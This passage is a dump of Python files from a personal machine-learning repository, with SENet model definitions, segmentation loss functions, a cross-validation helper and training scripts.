{\n 'imagenet': {\n 'url': 'http://data.lip6.fr/cadene/pretrainedmodels/se_resnet101-7e38fcc6.pth',\n 'input_space': 'RGB',\n 'input_size': [3, 224, 224],\n 'input_range': [0, 1],\n 'mean': [0.485, 0.456, 0.406],\n 'std': [0.229, 0.224, 0.225],\n 'num_classes': 1000\n }\n },\n\n 'se_resnet152': {\n 'imagenet': {\n 'url': 'http://data.lip6.fr/cadene/pretrainedmodels/se_resnet152-d17c99b7.pth',\n 'input_space': 'RGB',\n 'input_size': [3, 224, 224],\n 'input_range': [0, 1],\n 'mean': [0.485, 0.456, 0.406],\n 'std': [0.229, 0.224, 0.225],\n 'num_classes': 1000\n }\n },\n\n 'se_resnext50_32x4d': {\n 'imagenet': {\n 'url': 'http://data.lip6.fr/cadene/pretrainedmodels/se_resnext50_32x4d-a260b3a4.pth',\n 'input_space': 'RGB',\n 'input_size': [3, 224, 224],\n 'input_range': [0, 1],\n 'mean': [0.485, 0.456, 0.406],\n 'std': [0.229, 0.224, 0.225],\n 'num_classes': 1000\n }\n },\n\n 'se_resnext101_32x4d': {\n 'imagenet': {\n 'url': 'http://data.lip6.fr/cadene/pretrainedmodels/se_resnext101_32x4d-3b2fe3d8.pth',\n 'input_space': 'RGB',\n 'input_size': [3, 224, 224],\n 'input_range': [0, 1],\n 'mean': [0.485, 0.456, 0.406],\n 'std': [0.229, 0.224, 0.225],\n 'num_classes': 1000\n }\n },\n}\n\nclass SEModule(nn.Module):\n def __init__(self, channels, reduction):\n super(SEModule, self).__init__()\n self.pool = nn.AdaptiveAvgPool2d(output_size=1)\n self.conv1 = nn.Conv2d(in_channels=channels, out_channels=channels // reduction,\n kernel_size=1, padding=0)\n self.relu = nn.ReLU()\n self.conv2 = nn.Conv2d(in_channels=channels // reduction, out_channels=channels,\n kernel_size=1, padding=0)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n inputs = x\n x = self.pool(x)\n x = self.relu(self.conv1(x))\n x = self.sigmoid(self.conv2(x))\n\n return inputs * x\n\nclass BottleNeck(nn.Module):\n\n def forward(self, x):\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out = self.se_module(out) + residual\n out = self.relu(out)\n\n return out\n\nclass SEBottleNeck(nn.Module):\n \"\"\"\n BottleNeck for SENet154\n \"\"\"\n expansion = 4\n def __init__(self, in_channel, planes, groups, reduction, stride=1,\n downsample=None):\n super(SEBottleNeck, self).__init__()\n\n self.conv1 = nn.Conv2d(in_channels=in_channel, out_channels=planes*2, kernel_size=3,\n stride=stride, padding=1, groups=groups, bias=False)\n self.bn1 = nn.BatchNorm2d(planes * 2)\n self.conv2 = nn.Conv2d(in_channels=planes * 2, out_channels=planes * 4, kernel_size=3,\n stride=stride, padding=1, groups=groups, bias=False)\n self.bn2 = nn.BatchNorm2d(planes * 4)\n self.conv3 = nn.Conv2d(in_channels=planes * 4, out_channels=planes * 4, kernel_size=1, bias=False)\n self.bn3 = nn.BatchNorm2d(planes * 4)\n self.relu = nn.ReLU()\n self.se_module = SEModule(planes * 4, reduction=reduction)\n self.downsample = downsample\n self.stride = stride\n\n\nclass SEResNetBottleNeck(BottleNeck):\n \"\"\"\n ResNet bottleneck with a squeeze-and-excitation module. it\n \"\"\"\n expansion = 4\n def __init__(self, in_channel, planes, groups, reduction, stride=1, downsample=None):\n super(SEResNetBottleNeck, self).__init__()\n self.conv1 = nn.Conv2d(in_channels=in_channel, out_channels=planes, kernel_size=1, bias=False, stride=stride)\n self.bn1 = nn.BatchNorm2d(planes)\n self.conv2 = nn.Conv2d(in_channels=planes, out_channels=planes, kernel_size=3, padding=1,\n groups=groups, bias=False)\n self.bn2 = nn.BatchNorm2d(planes)\n self.conv3 = nn.Conv2d(in_channels=planes, out_channels=planes * 4, kernel_size=1, bias=False)\n self.bn3 = nn.BatchNorm2d(planes * 4)\n self.relu = nn.ReLU()\n self.se_module = SEModule(planes * 4, reduction=reduction)\n self.downsample = downsample\n self.stride = stride\n\n\nclass SEResNeXtBottleNeck(BottleNeck):\n \"\"\"\n\n \"\"\"\n expansion = 4\n def __init__(self, in_channel, planes, groups, reduction, stride=1, downsample=None, base_width=4):\n super(SEResNeXtBottleNeck, self).__init__()\n\n width = math.floor(planes * (base_width / 64)) * groups\n self.conv1 = nn.Conv2d(in_channels=in_channel, out_channels=width,kernel_size=1, bias=False,\n stride=1)\n self.bn1 = nn.BatchNorm2d(width)\n self.conv2 = nn.Conv2d(in_channels=width, out_channels=width, kernel_size=3, stride=stride, padding=1,\n groups=groups, bias=False)\n self.bn2 = nn.BatchNorm2d(width)\n self.conv3 = nn.Conv2d(in_channels=width, out_channels=planes * 4, kernel_size=1, bias=False)\n self.bn3 = nn.BatchNorm2d(planes * 4)\n self.relu = nn.ReLU()\n self.se_module = SEModule(planes * 4, reduction=reduction)\n self.downsample = downsample\n self.stride = stride\n\n\nclass SENet(nn.Module):\n def __init__(self, block, layers, groups, reduction, dropout_p = 0.2, in_channel = 128,\n input_3x3 = True, downsample_kernel_size = 3, downsample_padding = 1, num_classes = 1000):\n \"\"\"\n\n :param block: Type: nn.Module, BottleNeck class\n -- For SENet154: SEBottleNeck\n -- For SE_ResNet: SeresNetBottleNeck\n -- For SE-ResNeXt: SeresNetBottleNeck\n :param layers: Type: list of int, number of residual blocks for 4 layers of the network\n :param groups: Type: int, number of gropus for the 3x3 convolution in each bottlenect block\n -- For SENet154: 64\n -- For SE_ResNet: 1\n -- For SE-ResNeXt: 32\n :param reduction: Type: int, reduction ratio for squeeze-and-excitation layer\n -- For all: 16\n :param dropout_p: Type: int, dropout rate for dropout layers, if \"None\", no dropout is used\n -- For SENet154: 0.2\n -- For SE_ResNet: None\n -- For SE-ResNeXt: None\n :param in_channel: Type: int, number of input channels for layer 1\n -- For SENet154: 128\n -- For SE_ResNet: 64\n -- For SE-ResNeXt: 64\n :param input_3x3: Type: bool, if \"True\", use 3x3 convolution instead of 7x7 convolution in layer 0\n -- For SENet154: True\n -- For SE_ResNet: False\n -- For SE-ResNeXt: False\n :param downsample_kernel_size: Type: int, kernel size for downsampling convolutions in layer2, layer3, layer4\n -- For SENet154: 3\n -- For SE_ResNet: 1\n -- For SE-ResNeXt: 1\n :param downsample_padding: Type: int, padding for downsampling convolution in layer2, layer3, layer4\n -- For SENet154: 1\n -- For SE_ResNet: 0\n -- For SE-ResNeXt: 0\n :param num_classes: Type: int, number of outputs in last_linear layer, 1000\n \"\"\"\n super(SENet, self).__init__()\n\n self.in_channel = in_channel\n if input_3x3:\n layer0_modules = [\n ('conv1', nn.Conv2d(3, 64, 3, stride=2, padding=1, bias=False)),\n ('bn1', nn.BatchNorm2d(64)),\n ('relu1', nn.ReLU()),\n ('conv2', nn.Conv2d(64, 64, 3, stride=1, padding=1, bias=False)),\n ('bn2', nn.BatchNorm2d(64)),\n ('relu2', nn.ReLU()),\n ('conv3', nn.Conv2d(64, in_channel, 3, stride=1, padding=1, bias=False)),\n ('bn3', nn.BatchNorm2d(in_channel)),\n ('relu3', nn.ReLU()),\n ]\n else:\n layer0_modules = [\n ('conv1', nn.Conv2d(3, in_channel, kernel_size=7, stride=2, padding=3, bias=False)),\n ('bn1', nn.BatchNorm2d(in_channel)),\n ('relu1', nn.ReLU()),\n ]\n layer0_modules.append(('pool', nn.MaxPool2d(3, stride=2, ceil_mode=True)))\n\n self.layer0 = nn.Sequential(OrderedDict(layer0_modules))\n self.layer1 = self._make_layer(\n block,\n planes=64,\n blocks=layers[0],\n groups=groups,\n reduction=reduction,\n downsample_kernel_size=1,\n downsample_padding=0\n )\n self.layer2 = self._make_layer(\n block,\n planes=128,\n blocks=layers[1],\n stride=2,\n groups=groups,\n reduction=reduction,\n downsample_kernel_size=downsample_kernel_size,\n downsample_padding=downsample_padding\n )\n self.layer3 = self._make_layer(\n block,\n planes=256,\n blocks=layers[2],\n stride=2,\n groups=groups,\n reduction=reduction,\n downsample_kernel_size=downsample_kernel_size,\n downsample_padding=downsample_padding\n )\n self.layer4 = self._make_layer(\n block,\n planes=512,\n blocks=layers[3],\n stride=2,\n groups=groups,\n reduction=reduction,\n downsample_kernel_size=downsample_kernel_size,\n downsample_padding=downsample_padding\n )\n self.avg_pool = nn.AvgPool2d(7, stride=1)\n self.dropout = nn.Dropout(dropout_p) if dropout_p is not None else None\n self.last_linear = nn.Linear(512 * block.expansion, num_classes)\n\n def _make_layer(self, block, planes, blocks, groups, reduction, stride=1,\n downsample_kernel_size=1, downsample_padding=0):\n downsample = None\n if stride != 1 or self.in_channel != planes * block.expansion:\n downsample = nn.Sequential(\n nn.Conv2d(self.in_channel, planes * block.expansion, kernel_size=downsample_kernel_size,\n stride=stride, padding=downsample_padding, bias=False),\n nn.BatchNorm2d(planes * block.expansion),\n )\n\n layers = []\n layers.append(block(self.in_channel, planes, groups, reduction, stride, downsample))\n self.in_channel = planes * block.expansion\n for i in range(1, blocks):\n layers.append(block(self.in_channel, planes, groups, reduction))\n\n return nn.Sequential(*layers)\n\n def features(self, x):\n x = self.layer0(x)\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n return x\n\n def logits(self, x):\n x = self.avg_pool(x)\n if self.dropout is not None:\n x = self.dropout(x)\n x = x.view(x.size(0), -1)\n x = self.last_linear(x)\n return x\n\n def forward(self, x):\n x = self.features(x)\n x = self.logits(x)\n return x\n\n\n\ndef initialize_pretrained_model(model, num_classes, settings):\n assert num_classes == settings['num_classes'], \\\n 'num_classes should be {}, but is {}'.format(\n settings['num_classes'], num_classes)\n model.load_state_dict(model_zoo.load_url(settings['url']))\n model.input_space = settings['input_space']\n model.input_size = settings['input_size']\n model.input_range = settings['input_range']\n model.mean = settings['mean']\n model.std = settings['std']\n\n\ndef senet154(num_classes=1000, pretrained='imagenet'):\n model = SENet(SEBottleNeck, [3, 8, 36, 3], groups=64, reduction=16,\n dropout_p=0.2, num_classes=num_classes)\n if pretrained is not None:\n settings = pretrained_settings['senet154'][pretrained]\n initialize_pretrained_model(model, num_classes, settings)\n return model\n\n\ndef se_resnet50(num_classes=1000, pretrained='imagenet'):\n model = SENet(SEResNetBottleNeck, [3, 4, 6, 3], groups=1, reduction=16,\n dropout_p=None, inplanes=64, input_3x3=False,\n downsample_kernel_size=1, downsample_padding=0,\n num_classes=num_classes)\n if pretrained is not None:\n settings = pretrained_settings['se_resnet50'][pretrained]\n initialize_pretrained_model(model, num_classes, settings)\n return model\n\n\ndef se_resnet101(num_classes=1000, pretrained='imagenet'):\n model = SENet(SEResNetBottleNeck, [3, 4, 23, 3], groups=1, reduction=16,\n dropout_p=None, inplanes=64, input_3x3=False,\n downsample_kernel_size=1, downsample_padding=0,\n num_classes=num_classes)\n if pretrained is not None:\n settings = pretrained_settings['se_resnet101'][pretrained]\n initialize_pretrained_model(model, num_classes, settings)\n return model\n\n\ndef se_resnet152(num_classes=1000, pretrained='imagenet'):\n model = SENet(SEResNetBottleNeck, [3, 8, 36, 3], groups=1, reduction=16,\n dropout_p=None, inplanes=64, input_3x3=False,\n downsample_kernel_size=1, downsample_padding=0,\n num_classes=num_classes)\n if pretrained is not None:\n settings = pretrained_settings['se_resnet152'][pretrained]\n initialize_pretrained_model(model, num_classes, settings)\n return model\n\n\ndef se_resnext50_32x4d(num_classes=1000, pretrained='imagenet'):\n model = SENet(SEResNeXtBottleNeck, [3, 4, 6, 3], groups=32, reduction=16,\n dropout_p=None, inplanes=64, input_3x3=False,\n downsample_kernel_size=1, downsample_padding=0,\n num_classes=num_classes)\n if pretrained is not None:\n settings = pretrained_settings['se_resnext50_32x4d'][pretrained]\n initialize_pretrained_model(model, num_classes, settings)\n return model\n\n\ndef se_resnext101_32x4d(num_classes=1000, pretrained='imagenet'):\n model = SENet(SEResNeXtBottleNeck, [3, 4, 23, 3], groups=32, reduction=16,\n dropout_p=None, inplanes=64, input_3x3=False,\n downsample_kernel_size=1, downsample_padding=0,\n num_classes=num_classes)\n if pretrained is not None:\n settings = pretrained_settings['se_resnext101_32x4d'][pretrained]\n initialize_pretrained_model(model, num_classes, settings)\n return model" }, { "alpha_fraction": 0.5832640528678894, "alphanum_fraction": 0.5998891592025757, "avg_line_length": 28.565574645996094, "blob_id": "e2968c49d4d4648dd0e36c5ab4edc37958cdb765", "content_id": "7db3c245fb0b5a8fb4a3b4aaa10790f65f5d8bd9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3609, "license_type": "no_license", "max_line_length": 109, "num_lines": 122, "path": "/cv_trivial/metrics.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\n\"\"\"\n Loss function for models: before applying loss function,\n use y_preds = out.cpu().detach().numpy() to transfer model output to numpy\n y_preds: type: numpy.ndarray\n targets: type: numpy.ndarray\n\"\"\"\n\nimport math\nimport torch\nimport torch.nn.functional as F\n\n\ndef _sharpen(possibility, t=0.5):\n if t != 0:\n return possibility ** t\n else:\n return possibility\n\n\ndef DiceLoss(y_preds, targets, smooth=1):\n # y_preds = y_preds.view(-1)\n # targets = targets.view(-1)\n\n intersection = (y_preds * targets).sum()\n dice = (2. * intersection + smooth) / (y_preds.sum() + targets.sum() + smooth)\n\n return 1 - dice\n\n\ndef DiceBCELoss(y_preds, targets, smooth = 1):\n batch_size = targets.shape[0]\n # y_preds = y_preds.view(-1)\n # targets = targets.view(-1)\n\n intersection = (y_preds * targets).sum()\n dice_loss = 1 - (2. * intersection + smooth) / (y_preds.sum() + targets.sum() + smooth)\n BCE = F.binary_cross_entropy(y_preds, targets.float(), reduction=\"mean\")\n Dice_BCE = BCE + dice_loss\n\n return Dice_BCE\n\n\ndef IoULoss(y_preds, targets, smooth = 1):\n # y_preds = y_preds.view(-1)\n # targets = targets.view(-1)\n\n intersection = (y_preds * targets).sum()\n total = (y_preds + targets).sum()\n union = total - intersection\n IoU = (intersection + smooth) / (union + smooth)\n\n return 1 - IoU\n\n\ndef FocalLoss(y_preds, targets, alpha = 0.8, gamma = 2, smooth = 1):\n # y_preds = y_preds.view(-1)\n # targets = targets.view(-1)\n\n BCE = F.binary_cross_entropy(y_preds, targets) / y_preds.shape[0]\n BCE_EXP = torch.exp(-BCE)\n FocalLoss = alpha * (1 - BCE_EXP)**gamma * BCE\n\n return FocalLoss\n\n\ndef TverskyLoss(y_preds, targets, smooth = 1, alpha = 0.5, beta = 0.5):\n \"\"\"\n Calculate the loss to optimize segmentation on imbalanced dataset, alpha penalizes FP,\n beta penalizes FN, the higher alpha and beta are, the more they penalize\n :param y_preds: type: np.ndarray, predicted output\n :param targets: type: np.ndarray, targets\n :param smooth: type: float, smoothing weight\n :param alpha: type: float, penalty for FP\n :param beta: type: float, penalty for FN\n :return:\n TverskyLoss\n \"\"\"\n # y_preds = y_preds.view(-1)\n # targets = targets.view(-1)\n\n TP = (y_preds * targets).sum()\n FP = ((1 - targets) * y_preds).sum()\n FN = (targets * (1 - y_preds)).sum()\n TverskyLoss = (TP + smooth) / (TP + alpha * FP + beta * FN + smooth)\n\n return TverskyLoss\n\n\ndef FocalTverskyLoss(y_preds, targets, smooth=1, alpha=0.5, beta=0.5, gamma=1):\n # y_preds = y_preds.view(-1)\n # targets = targets.view(-1)\n\n TP = (y_preds * targets).sum()\n FP = ((1 - targets) * y_preds).sum()\n FN = (targets * (1 - y_preds)).sum()\n loss = (TP + smooth) / (TP + alpha * FP + beta * FN + smooth)\n FocalTverskyLoss = (1 - loss)**gamma\n\n return FocalTverskyLoss\n\n\ndef ComboLoss(y_preds, targets, smooth=1, alpha=0.5, ce_ratio = 0.5):\n \"\"\"\n\n :param y_preds:\n :param targets:\n :param smooth:\n :param alpha:\n :param ce_ratio:\n :return:\n \"\"\"\n # y_preds = y_preds.view(-1)\n # targets = targets.view(-1)\n\n intersection = (y_preds * targets).sum()\n dice = (2. * intersection + smooth) / (y_preds.sum() + targets.sum() + smooth)\n y_preds = torch.clamp(y_preds, math.e, 1-math.e)\n out = - (alpha * ((targets * torch.log(y_preds)) + (1 - alpha) * (1 - targets) * torch.log(1 - y_preds)))\n weighted_ce = out.mean(-1)\n comboLoss = (ce_ratio * weighted_ce) - ((1 - ce_ratio) * dice)\n\n return comboLoss\n\n" }, { "alpha_fraction": 0.6282894611358643, "alphanum_fraction": 0.6324561238288879, "avg_line_length": 46.010311126708984, "blob_id": "6b1dbdc277773b8f11831afeec016e62fdebe7a8", "content_id": "9ea45498616c91f88a13a21e3150bf1882a62022", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4560, "license_type": "no_license", "max_line_length": 121, "num_lines": 97, "path": "/src/cross_validation.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\n\"\"\"\n Build a new dataframe for cross validation for classification or regression\n problem_type in (\"binary_classification\", \"multiclass_classification\", \"single_col_regression\",\n \"multi_col_regression\", \"multilabel_classification\")\n time_series data, set shuffle = False, and choose \"handout_*\" as problem_type,\n and '*' represents the percentage of validation data in all training data\n\n\n\"\"\"\nfrom sklearn import model_selection\nimport pandas as pd\n\nclass CrossValidation(object):\n def __init__(self, df, target_cols, shuffle, problem_type=None,\n multilabel_delimiter=None, num_folds=5, random_state=42):\n \"\"\"\n Create cross validation data for original dataframe\n :param df: type: DataFrame, train dataframe\n :param target_cols: type: str, target column label\n :param shuffle: type: bool, shuffle data\n :param problem_type: type: str, classification or regression\n :param multilabel_delimiter: type: str, delimiter for spliting multi-labels\n :param num_folds: type: int, number of folders for cross validation\n :param random_state: type: int, random_state\n \"\"\"\n self.dataframe = df\n self.target_cols = target_cols\n self.num_targets = len(self.target_cols)\n self.num_folds = num_folds\n self.shuffle = shuffle\n self.random_state = random_state\n\n if problem_type is None:\n raise Exception(\"problem type shouldn't be None\")\n self.problem_type = problem_type\n\n if multilabel_delimiter is not None:\n self.multilabel_delimiter = multilabel_delimiter\n\n if self.shuffle:\n self.dataframe = self.dataframe.sample(frac=1).reset_index(drop=True)\n self.dataframe['kfold'] = -1\n\n def split(self):\n if self.problem_type in (\"binary_classification\", \"multiclass_classification\"):\n if self.num_targets != 1:\n raise Exception(\"Invalid number of targets for this problem type\")\n target = self.target_cols[0]\n unique_values = self.dataframe[target].nunique()\n if unique_values == 1:\n raise Exception(\"Only one unique value found!\")\n elif unique_values > 1:\n kf = model_selection.StratifiedKFold(n_splits=self.num_folds, shuffle=False)\n\n for fold, (train_idx, val_idx) in enumerate(kf.split(X=self.dataframe, y=self.dataframe[target].values)):\n self.dataframe.loc[val_idx, 'kfold'] = fold\n\n elif self.problem_type in (\"single_col_regression\", \"multi_col_regression\"):\n if self.num_targets != 1 and self.problem_type == \"single_col_regression\":\n raise Exception(\"Invalid number of targets for this problem type\")\n if self.num_targets < 2 and self.problem_type == \"multi_col_regression\":\n raise Exception(\"Invalid number of targets for this problem type\")\n\n kf = model_selection.KFold(n_splits=self.num_folds)\n for fold, (train_idx, val_idx) in enumerate(kf.split(X=self.dataframe)):\n self.dataframe.loc[val_idx, 'kfold'] = fold\n\n elif self.problem_type.startswith(\"holdout_\"):\n holdout_percentage = int(self.problem_type.split(\"_\")[1])\n num_holdout_samples = int(len(self.dataframe) * holdout_percentage / 100)\n\n self.dataframe.loc[:len(self.dataframe) - num_holdout_samples, \"kfold\"] = 0\n self.dataframe.loc[len(self.dataframe) - num_holdout_samples:, \"kfold\"] = 1\n\n elif self.problem_type == \"multilabel_classification\":\n if self.num_targets != 1:\n raise Exception(\"Invalid number of targets for this problem type\")\n\n targets = self.dataframe[self.target_cols[0]].apply(lambda x: len(str(x).split(self.multilabel_delimiter)))\n kf = model_selection.StratifiedKFold(n_splits=self.num_folds)\n for fold, (train_idx, val_idx) in enumerate(kf.split(X=self.dataframe, y=targets)):\n self.dataframe.loc[val_idx, 'kfold'] = fold\n\n else:\n raise Exception(\"problem type is not defined\")\n\n return self.dataframe\n\n\nif __name__ == \"__main__\":\n df = pd.read_csv(\"../input_II/train.csv\")\n cv = CrossValidation(df, shuffle=True, target_cols=[\"target\"],\n problem_type=\"binary_classification\")\n df_split = cv.split()\n print(df_split.head())\n print(df_split.kfold.value_counts())\n df_split.to_csv(\"../input_II/train_folds.csv\", index=False)" }, { "alpha_fraction": 0.5888702273368835, "alphanum_fraction": 0.5970003008842468, "avg_line_length": 35.167510986328125, "blob_id": "9b9aa80e556481721d4bddefc9f5987d9a386ce6", "content_id": "3c32d7f76692acf27d9376bef64c992f91fa0785", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7134, "license_type": "no_license", "max_line_length": 110, "num_lines": 197, "path": "/code/inputModelEntity.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport os\n\nimport pdb\nimport pandas as pd\nimport numpy as np\nimport time\nfrom sklearn import metrics\nfrom sklearn import preprocessing\nfrom sklearn import model_selection\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.optim import Adam, lr_scheduler\n\nfrom src import categorical\nfrom src import cross_validation\nfrom .import entityModel\n\n\ndef get_encoding(train_df, test_df):\n test_df[\"target\"] = -1\n full_data = pd.concat([df, df_test]).reset_index(drop=True)\n cols = [c for c in df.columns if c not in [\"id\", \"target\"]]\n for c in cols:\n lbl = preprocessing.LabelEncoder()\n lbl.fit(full_data[c].astype(str).fillna('None').values)\n train_df[c] = lbl.transform(train_df[c].astype(str).fillna(\"None\").values)\n test_df[c] = lbl.transform(test_df[c].astype(str).fillna('None').values)\n\n test_df.drop('target', axis=1, inplace=True)\n return train_df, test_df\n\n\ndef train_epoch(model, data_loader, optimizer, criterion, device, scheduler = None):\n model.train()\n model.to(device)\n running_loss = 0.0\n\n for batch_idx, data in enumerate(data_loader):\n pdb.set_trace()\n optimizer.zero_grad()\n inputs = data[\"data\"].to(device)\n target = data[\"targets\"].to(device)\n outputs = model(inputs)\n loss = criterion(torch.log(outputs), target.view(-1))\n running_loss += loss.item()\n loss.backward()\n optimizer.step()\n if scheduler is not None:\n scheduler.step()\n\n if (batch_idx % 1000) == 999:\n print(f\"batch_idx = {batch_idx+1}, loss = {loss.item()}\")\n\n return running_loss / len(data_loader)\n\ndef valid_epoch(model, data_loader, criterion, device):\n model.eval()\n model.to(device)\n fin_targets = []\n fin_outputs = []\n running_loss = 0.0\n\n with torch.no_grad():\n for batch_idx, data in enumerate(data_loader):\n inputs = data['data'].to(device)\n targets = data[\"targets\"].to(device)\n outputs = model(inputs)\n loss = criterion(torch.log(outputs), targets.view(-1))\n running_loss += loss.item()\n\n fin_outputs.append(outputs.cpu().detach().numpy()[:, -1])\n fin_targets.append(targets.view(-1).cpu().detach().numpy())\n\n return running_loss/len(data_loader), np.vstack(fin_outputs), np.vstack(fin_targets)\n\n\ndef train(train_df, features, emb_size_dict, model_path):\n EPOCHS = 50\n LR = 0.01\n BATCH_SIZE = 4\n DEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n kf = model_selection.StratifiedKFold(n_splits=5, shuffle=True, random_state=42)\n for idx, (train_idx, valid_idx) in enumerate(kf.split(X = train_df, y=train_df['target'].values)):\n X_train, y_train = train_df[features].iloc[train_idx, :], train_df['target'].iloc[train_idx]\n X_valid, y_valid = train_df[features].iloc[valid_idx, :], train_df['target'].iloc[valid_idx]\n\n train_dataset = entityModel.entityDataset(X_train, y_train)\n train_data_loader = torch.utils.data.DataLoader(train_dataset, batch_size=BATCH_SIZE, shuffle=True,\n drop_last=True)\n\n valid_dataset = entityModel.entityDataset(X_valid, y_valid)\n valid_data_loader = torch.utils.data.DataLoader(valid_dataset, batch_size=BATCH_SIZE, shuffle=True,\n drop_last=True)\n\n model = entityModel.EmbedModel(emb_size_dict, 2, 0.3, 0.2, DEVICE)\n criterion = nn.NLLLoss()\n optimizer = Adam(model.parameters(), lr = LR)\n\n STEP_SIZE = int(len(train_dataset) / BATCH_SIZE * 3)\n scheduler = lr_scheduler.StepLR(optimizer, step_size=STEP_SIZE, gamma=0.2)\n\n PATIENT = 3\n BEST_VALID_LOSS = float(\"inf\")\n cnt = 0\n\n pdb.set_trace()\n for epoch in range(EPOCHS):\n start_time = time.time()\n train_loss = train_epoch(model, train_data_loader, optimizer, criterion, DEVICE,\n scheduler)\n print(f\"epoch = {epoch+1}, loss = {train_loss}, time = {time.time() - start_time}\")\n valid_loss, fin_outputs, fin_targets = valid_epoch(model, valid_data_loader,\n criterion, DEVICE)\n print(f\"epcoh = {epoch+1}, loss = {valid_loss}\")\n\n if valid_loss < BEST_VALID_LOSS:\n BEST_VALID_LOSS = valid_loss\n cnt = 0\n torch.save(model.state_dict(), f\"{model_path}/entity_{idx}.bin\")\n else:\n cnt += 1\n if cnt > PATIENT:\n print(\"Early stopping\")\n break\n\n print(metrics.roc_auc_score(fin_targets, fin_outputs))\n\n predict(df_test, emb_size_dict, model, model_path)\n\n\ndef predict(test_df, features, emb_size_dict, model_path):\n test_idx = df_test.id.values\n test_df = test_df[features]\n\n test_dataset = entityModel.entityDataset(test_df)\n test_data_loader = torch.utils.data.DataLoader(test_dataset, batch_size=64, shuffle=False)\n\n DEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n predict = None\n for FOLD in range(5):\n print(\"current FOLD is {}\".format(FOLD))\n\n model = entityModel.EmbedModel(emb_size_dict, 2, 0.3, 0.2, DEVICE)\n model.load_state_dict(torch.load(f\"{model_path}/entity_{FOLD}.bin\", map_location=torch.device('cpu')))\n model.eval()\n fold_predict = []\n for batch_idx, data in enumerate(test_data_loader):\n out = model(data)\n preds = out.cpu().detach().numpy()[:, 1].reshape(-1, 1)\n fold_predict.append(preds)\n\n fold_predict = np.vstack(fold_predict)\n\n if predict is None:\n predict = fold_predict\n else:\n predict += fold_predict\n\n\n\n predict /= 5\n sub = pd.DataFrame(np.column_stack((test_idx, predict)), columns=[\"id\", \"target\"])\n sub[\"id\"] = sub[\"id\"].astype(\"int\")\n return sub\n\nif __name__ == '__main__':\n\n TRAIN_PATH = os.environ.get(\"TRAIN_PATH\")\n TEST_PATH = os.environ.get(\"TEST_PATH\")\n SUBMISSION = os.environ.get(\"SUBMISSION\")\n # MODEL_TYPE = os.environ.get(\"MODEL\")\n MODEL_PATH = os.environ.get(\"MODEL_PATH\")\n\n\n df = pd.read_csv(TRAIN_PATH)\n df_test = pd.read_csv(TEST_PATH)\n\n # train(df=df, model_type=MODEL_TYPE, model_path=MODEL_PATH)\n # sub = predict(df_test=df_test, model_path=MODEL_PATH, model_type=MODEL_TYPE)\n pdb.set_trace()\n train_df, test_df = get_encoding(df, df_test)\n\n features = [x for x in train_df.columns if x not in [\"id\", \"target\"]]\n emb_size_dict = []\n\n for c in features:\n num_features = int(df[c].nunique())\n emb_size = int(min(np.ceil(num_features / 2), 50))\n emb_size_dict.append((num_features + 1, emb_size))\n # X = get_splitdf(df)\n train(train_df, features, emb_size_dict, MODEL_PATH)\n\n # sub = predict(df_test, emb_size_dict, model, MODEL_PATH)\n # pdb.set_trace()\n # sub.to_csv(f\"{SUBMISSION}/entity_1.csv\", index=False)\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6153846383094788, "alphanum_fraction": 0.6355029344558716, "avg_line_length": 22.30555534362793, "blob_id": "063e583ba0bf530eb2965482b92517c82c4cbf69", "content_id": "3f2007fbc73c17f3addc01b5dcf6b15e22cd90aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 845, "license_type": "no_license", "max_line_length": 76, "num_lines": 36, "path": "/cv_trivial/datacheck.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport os\nimport pdb\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nsns.set_style(\"whitegrid\")\n\n\nif __name__ == \"__main__\":\n trainfile = \"../train.csv\"\n\n train_df = pd.read_csv(trainfile).reset_index(drop=True)\n print(train_df.head())\n\n\n img_dir = \"../train_images\"\n imgIndex = train_df.loc[5, \"ImageId\"]\n label_list = train_df[train_df[\"ImageId\"] == imgIndex][\"ClassId\"].values\n imgpath = os.path.join(img_dir, imgIndex)\n\n pdb.set_trace()\n print(label_list)\n img = cv2.imread(imgpath, cv2.IMREAD_GRAYSCALE)\n img2 = cv2.imread(imgpath)\n\n plt.subplot(2, 1, 1)\n plt.imshow(img, cmap=\"gray\")\n plt.subplot(2, 1, 2)\n plt.imshow(img2)\n plt.show()\n\n print(img.shape)\n masks = np.zeros((img.shape[0], img.shape[1], 4), dtype=np.uint8)\n\n\n\n\n\n" }, { "alpha_fraction": 0.5756358504295349, "alphanum_fraction": 0.5805444121360779, "avg_line_length": 36.88983154296875, "blob_id": "e977381bbff664d49fe00c1f98e03143f1364d35", "content_id": "f3bd3ef88ce4c21639a7e15be29bc5454f787e5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4482, "license_type": "no_license", "max_line_length": 103, "num_lines": 118, "path": "/cv_trivial/meter.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\n\"\"\"\n Meter class for recording data for training and validation dataset:\n To avoid computing data in a whole batch, we update data in each batch with \"update\" method,\n After completing one epoch, we log the metric for one epoch, at the same time, we delete batch data\n and update epoch data with \"epoch_log\" method\n\"\"\"\n\nimport os\nimport pdb\nimport numpy as np\n\nimport torch\n\nclass Meter(object):\n \"\"\"\n\n \"\"\"\n def __init__(self, phase, threshold = 0.5):\n self.phase = phase\n self.base_threshold = threshold\n self.base_dice_scores 